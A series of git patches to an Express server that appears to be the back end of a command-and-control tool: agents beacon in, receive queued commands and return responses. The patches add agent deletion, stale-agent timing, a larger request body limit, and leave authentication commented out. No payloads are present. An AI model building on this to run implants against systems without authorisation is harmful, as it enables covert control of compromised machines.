From 144518da57bcaf3358a32b726d4d142383f37fb5 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 11:49:57 -0400 Subject: [PATCH 01/11] added delete agent function --- app/app.js | 12 ++++++++++++ app/store/agents.js | 10 ++++++++++ 2 files changed, 22 insertions(+) diff --git a/app/app.js b/app/app.js index 35674ea..75d5aca 100644 --- a/app/app.js +++ b/app/app.js @@ -60,6 +60,18 @@ app.get('/api/agents/:agentId/tasks', (req, res) => { } }) +app.delete('/api/agents/:agentId', (req, res) => { + const agentId = parseInt(req.params.agentId) + const status = agentStore.deleteAgentById(agentId) + if (status) { + res.status(200).json(agentId) + } else { + res.status(404).json({ + message: 'agent does not exist' + }) + } +}) + // Interact with tasks app.post('/api/tasks', (req, res) => { const { command, agentId } = req.body diff --git a/app/store/agents.js b/app/store/agents.js index c9a98fb..b74e6a8 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -41,6 +41,16 @@ const Agents = () => { return false } + obj.deleteAgentById = (agentId) => { + const index = obj.findIndex(agent => agent.id === agentId) + if (index !== -1) { + obj.splice(index, 1) + return true + } else { + return false + } + } + obj.getAllAgents = () => obj.agents return obj From 955429f4ab614f15484cd94dbe4c6d4411bd2b57 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 11:53:35 -0400 Subject: [PATCH 02/11] added delete agent function --- app/store/agents.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/store/agents.js b/app/store/agents.js index b74e6a8..4d3e967 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -42,7 +42,7 @@ const Agents = () => { } obj.deleteAgentById = (agentId) => { - const index = obj.findIndex(agent => agent.id === agentId) + const index = obj.agents.findIndex(agent => agent.id === agentId) if (index !== -1) { obj.splice(index, 1) return true From 8f0cb0b7b6959b1cc9c3d62e50b19aa630e32cde Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 11:55:21 -0400 Subject: [PATCH 03/11] added delete agent function --- app/store/agents.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/store/agents.js b/app/store/agents.js index 4d3e967..37a5053 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -44,7 +44,7 @@ const Agents = () => { obj.deleteAgentById = (agentId) => { const index = obj.agents.findIndex(agent => agent.id === agentId) if (index !== -1) { - obj.splice(index, 1) + obj.agents.splice(index, 1) return true } else { return false From c418e6dba23bc75940d2c56c02a1b82a50e91597 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 12:47:49 -0400 Subject: [PATCH 04/11] added stale agent function --- app/app.js | 4 ++-- app/store/agents.js | 29 ++++++++++++++++++++++++----- package-lock.json | 5 +++++ package.json | 3 ++- 4 files changed, 33 insertions(+), 8 deletions(-) diff --git a/app/app.js b/app/app.js index 75d5aca..0dcf0cc 100644 --- a/app/app.js +++ b/app/app.js @@ -107,8 +107,8 @@ app.get('/api/tasks/:taskId', (req, res) => { // Beacon app.post('/beacon', (req, res) => { - const [ip, os, profile] = req.body.split(/\|{2}/) - const agentId = agentStore.addAgent(os, ip, profile) + const [ip, os, profile, interval] = req.body.split(/\|{2}/) + const agentId = agentStore.addAgent(os, ip, profile, interval) res.status(200).send(`${agentId}`) }) diff --git a/app/store/agents.js b/app/store/agents.js index 37a5053..6f9cb33 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -1,13 +1,16 @@ +const moment = require('moment') + const Agents = () => { const obj = {} obj.agents = [] - obj.addAgent = (os, ip, profile) => { + obj.addAgent = (os, ip, profile, interval) => { const agent = {} agent.id = obj.agents.length + 1 agent.os = os agent.ip = ip agent.profile = profile + agent.interval = parseInterval(interval) agent.last_beacon_date = new Date(Date.now()).toLocaleString() agent.status = true obj.agents.push(agent) @@ -16,9 +19,16 @@ const Agents = () => { obj.getAgentById = (agentId) => { const agent = obj.agents.find(a => a.id === agentId) - return agent - ? agent - : null + if (!agent) { + return null + } else { + const lbd = moment(agent.last_beacon_date) + const diff = (lbd.diff(moment(), 'second') * -1) + if (diff > agent.interval) { + agent.status = false + } + return agent + } } obj.updateAgentBeaconTime = (agentId) => { @@ -51,7 +61,16 @@ const Agents = () => { } } - obj.getAllAgents = () => obj.agents + obj.getAllAgents = () => { + obj.agents.forEach(agent => { + const lbd = moment(agent.last_beacon_date) + const diff = (lbd.diff(moment(), 'second') * -1) + if (diff > agent.interval) { + agent.status = false + } + }) + return obj.agents + } return obj } diff --git a/package-lock.json b/package-lock.json index ffc8136..1671ba4 100644 --- a/package-lock.json +++ b/package-lock.json @@ -4250,6 +4250,11 @@ } } }, + "moment": { + "version": "2.27.0", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.27.0.tgz", + "integrity": "sha512-al0MUK7cpIcglMv3YF13qSgdAIqxHTO7brRtaz3DlSULbqfazqkc5kEjNrLDOM7fsjshoFIihnU8snrP7zUvhQ==" + }, "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", diff --git a/package.json b/package.json index b38c969..301e683 100644 --- a/package.json +++ b/package.json @@ -12,7 +12,8 @@ "author": "", "license": "ISC", "dependencies": { - "express": "^4.17.1" + "express": "^4.17.1", + "moment": "^2.27.0" }, "devDependencies": { "jest": "^26.4.0", From 79a948c939702f99c69d1e606a9b085ea9fdfe37 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 12:49:21 -0400 Subject: [PATCH 05/11] added stale agent function --- app/store/agents.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/store/agents.js b/app/store/agents.js index 6f9cb33..16f28ee 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -10,7 +10,7 @@ const Agents = () => { agent.os = os agent.ip = ip agent.profile = profile - agent.interval = parseInterval(interval) + agent.interval = parseInt(interval) agent.last_beacon_date = new Date(Date.now()).toLocaleString() agent.status = true obj.agents.push(agent) From f9d6aed78d34d2200f5acecbba4d1eb19cbac718 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 12:58:57 -0400 Subject: [PATCH 06/11] added stale agent function --- app/store/agents.js | 8 ++++---- package.json | 5 ----- 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/app/store/agents.js b/app/store/agents.js index 16f28ee..aab65c0 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -11,7 +11,7 @@ const Agents = () => { agent.ip = ip agent.profile = profile agent.interval = parseInt(interval) - agent.last_beacon_date = new Date(Date.now()).toLocaleString() + agent.last_beacon_date = moment.utc().format('MM/DD/YYYY, hh:mm:SS A') agent.status = true obj.agents.push(agent) return agent.id @@ -22,7 +22,7 @@ const Agents = () => { if (!agent) { return null } else { - const lbd = moment(agent.last_beacon_date) + const lbd = moment(agent.last_beacon_date, 'MM DD YYYY, hh:mm:SS A') const diff = (lbd.diff(moment(), 'second') * -1) if (diff > agent.interval) { agent.status = false @@ -34,7 +34,7 @@ const Agents = () => { obj.updateAgentBeaconTime = (agentId) => { obj.agents.forEach(a => { if (a.id === agentId) { - a.last_beacon_date = new Date(Date.now()).toLocaleString() + a.last_beacon_date = moment.utc().format('MM/DD/YYYY, hh:mm:SS A') return true } }) @@ -63,7 +63,7 @@ const Agents = () => { obj.getAllAgents = () => { obj.agents.forEach(agent => { - const lbd = moment(agent.last_beacon_date) + const lbd = moment(agent.last_beacon_date, , 'MM DD YYYY, hh:mm:SS A') const diff = (lbd.diff(moment(), 'second') * -1) if (diff > agent.interval) { agent.status = false diff --git a/package.json b/package.json index 301e683..fc018e5 100644 --- a/package.json +++ b/package.json @@ -15,11 +15,6 @@ "express": "^4.17.1", "moment": "^2.27.0" }, - "devDependencies": { - "jest": "^26.4.0", - "nodemon": "^2.0.4", - "supertest": "^4.0.2" - }, "jest": { "testEnvironment": "node", "coveragePathIgnorePatterns": [ From 1a19d9b6f74d975e1a9ec17155381c051fff4e96 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 13:00:35 -0400 Subject: [PATCH 07/11] added stale agent function --- app/store/agents.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/store/agents.js b/app/store/agents.js index aab65c0..fbcc9ca 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -63,7 +63,7 @@ const Agents = () => { obj.getAllAgents = () => { obj.agents.forEach(agent => { - const lbd = moment(agent.last_beacon_date, , 'MM DD YYYY, hh:mm:SS A') + const lbd = moment(agent.last_beacon_date, 'MM DD YYYY, hh:mm:SS A') const diff = (lbd.diff(moment(), 'second') * -1) if (diff > agent.interval) { agent.status = false From 3c4cd42334aac6bfe0e302f6fd99496781e17192 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 13:23:24 -0400 Subject: [PATCH 08/11] added time travel --- app/store/agents.js | 12 ++++++------ app/store/tasks.js | 6 ++++-- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/app/store/agents.js b/app/store/agents.js index fbcc9ca..59b0627 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -11,7 +11,7 @@ const Agents = () => { agent.ip = ip agent.profile = profile agent.interval = parseInt(interval) - agent.last_beacon_date = moment.utc().format('MM/DD/YYYY, hh:mm:SS A') + agent.last_beacon_date = moment().format('MM/DD/YYYY, hh:mm:ss A') agent.status = true obj.agents.push(agent) return agent.id @@ -22,8 +22,8 @@ const Agents = () => { if (!agent) { return null } else { - const lbd = moment(agent.last_beacon_date, 'MM DD YYYY, hh:mm:SS A') - const diff = (lbd.diff(moment(), 'second') * -1) + const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) if (diff > agent.interval) { agent.status = false } @@ -34,7 +34,7 @@ const Agents = () => { obj.updateAgentBeaconTime = (agentId) => { obj.agents.forEach(a => { if (a.id === agentId) { - a.last_beacon_date = moment.utc().format('MM/DD/YYYY, hh:mm:SS A') + a.last_beacon_date = moment().format('MM/DD/YYYY, hh:mm:ss A') return true } }) @@ -63,8 +63,8 @@ const Agents = () => { obj.getAllAgents = () => { obj.agents.forEach(agent => { - const lbd = moment(agent.last_beacon_date, 'MM DD YYYY, hh:mm:SS A') - const diff = (lbd.diff(moment(), 'second') * -1) + const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) if (diff > agent.interval) { agent.status = false } diff --git a/app/store/tasks.js b/app/store/tasks.js index f87b34d..6d7da4c 100644 --- a/app/store/tasks.js +++ b/app/store/tasks.js @@ -1,3 +1,5 @@ +const moment = require('moment') + const Tasks = () => { const obj = {} obj.tasks = [] @@ -7,7 +9,7 @@ const Tasks = () => { task.agentId = agentId task.command = command task.id = obj.tasks.length + 1 - task.tasked_date = new Date(Date.now()).toLocaleString() + task.tasked_date = moment().format('MM/DD/YYYY, hh:mm:SS A') task.complete_date = '' task.response = '' obj.tasks.push(task) @@ -32,7 +34,7 @@ const Tasks = () => { obj.tasks.forEach(t => { if (t.id === taskId) { t.response = response - t.complete_date = new Date(Date.now()).toLocaleString() + t.complete_date = moment().format('MM/DD/YYYY, hh:mm:SS A') } }) } From e7b87cca5487ecd63e6bd05bca40ef79ced95ef8 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 13:24:31 -0400 Subject: [PATCH 09/11] added buffer --- app/store/agents.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/store/agents.js b/app/store/agents.js index 59b0627..fc62813 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -23,7 +23,7 @@ const Agents = () => { return null } else { const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() - const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + 20 if (diff > agent.interval) { agent.status = false } @@ -64,7 +64,7 @@ const Agents = () => { obj.getAllAgents = () => { obj.agents.forEach(agent => { const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() - const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + 20 if (diff > agent.interval) { agent.status = false } From a1cc49085e843bfb5af8d2a1d19d161d9550e040 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 13:28:31 -0400 Subject: [PATCH 10/11] fixed buffer --- app/store/agents.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/store/agents.js b/app/store/agents.js index fc62813..5b612d8 100644 --- a/app/store/agents.js +++ b/app/store/agents.js @@ -23,8 +23,8 @@ const Agents = () => { return null } else { const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() - const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + 20 - if (diff > agent.interval) { + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + if (diff > (agent.interval + 20)) { agent.status = false } return agent @@ -64,8 +64,8 @@ const Agents = () => { obj.getAllAgents = () => { obj.agents.forEach(agent => { const lbd = moment(agent.last_beacon_date, 'MM/DD/YYYY, hh:mm:ss A').utc() - const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + 20 - if (diff > agent.interval) { + const diff = (lbd.diff(moment().utc(), 'seconds') * -1) + if (diff > (agent.interval + 20)) { agent.status = false } }) From 2c9a64933057d800b69a7e9264c46c2e6fbf82e2 Mon Sep 17 00:00:00 2001 From: Joshua Collins Date: Thu, 20 Aug 2020 15:35:55 -0400 Subject: [PATCH 11/11] fixed buffer --- app/app.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/app.js b/app/app.js index 0dcf0cc..b6bc45e 100644 --- a/app/app.js +++ b/app/app.js @@ -26,7 +26,7 @@ const protect = (req, res, next) => { } app.use(bodyParser.json()) -app.use(bodyParser.text()) +app.use(bodyParser.text({limit: '50mb'})) app.use(allowCrossDomain) //app.use(protect)